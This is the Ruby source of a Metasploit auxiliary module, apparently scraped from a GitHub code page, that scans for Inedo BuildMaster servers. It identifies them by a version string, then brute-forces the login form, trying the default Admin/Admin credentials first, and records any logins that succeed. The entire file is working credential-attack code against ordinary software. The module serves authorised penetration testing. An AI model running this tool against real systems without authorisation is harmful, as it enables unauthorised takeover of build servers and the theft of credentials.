Path: blob/master/modules/auxiliary/scanner/http/buildmaster_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::AuthBrute8include Msf::Auxiliary::Report9include Msf::Auxiliary::Scanner1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Inedo BuildMaster Login Scanner',16'Description' => %q{17This module will attempt to authenticate to BuildMaster. There is a default user 'Admin'18which has the default password 'Admin'.19},20'Author' => [ 'James Otten <jamesotten1[at]gmail.com>' ],21'License' => MSF_LICENSE,22'DefaultOptions' => { 'VERBOSE' => true },23'Notes' => {24'Reliability' => UNKNOWN_RELIABILITY,25'Stability' => UNKNOWN_STABILITY,26'SideEffects' => UNKNOWN_SIDE_EFFECTS27}28)29)3031register_options(32[33Opt::RPORT(81),34OptString.new('USERNAME', [false, 'Username to authenticate as', 'Admin']),35OptString.new('PASSWORD', [false, 'Password to authenticate with', 'Admin'])36]37)38end3940def run_host(ip)41return unless buildmaster?4243each_user_pass do |user, pass|44do_login(user, pass)45end46end4748def buildmaster?49begin50res = send_request_cgi('uri' => '/log-in')51rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE52print_error("#{peer} - HTTP Connection Failed")53return false54end5556if res && res.code == 200 && res.body.include?('BuildMaster_Version')57version = res.body.scan(%r{<span id="BuildMaster_Version">(.*)</span>}).flatten.first58print_good("#{peer} - Identified BuildMaster #{version}")59return true60else61print_error("#{peer} - Application does not appear to be BuildMaster")62return false63end64end6566def login_succeeded?(res)67if res && res.code == 20068body = JSON.parse(res.body)69return body.key?('succeeded') && body['succeeded']70end71false72rescue73false74end7576def do_login(user, pass)77print_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")78begin79res = send_request_cgi(80{81'uri' => '/0x44/BuildMaster.Web.WebApplication/Inedo.BuildMaster.Web.WebApplication.Pages.LogInPage/LogIn',82'method' => 'POST',83'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },84'vars_post' =>85{86'userName' => user,87'password' => pass88}89}90)91rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE92vprint_error("#{peer} - HTTP Connection Failed...")93return :abort94end9596if login_succeeded?(res)97print_good("SUCCESSFUL LOGIN - #{peer} - #{user.inspect}:#{pass.inspect}")98store_valid_credential(user: user, private: pass)99else100print_error("FAILED LOGIN - #{peer} - #{user.inspect}:#{pass.inspect}")101end102end103end104105106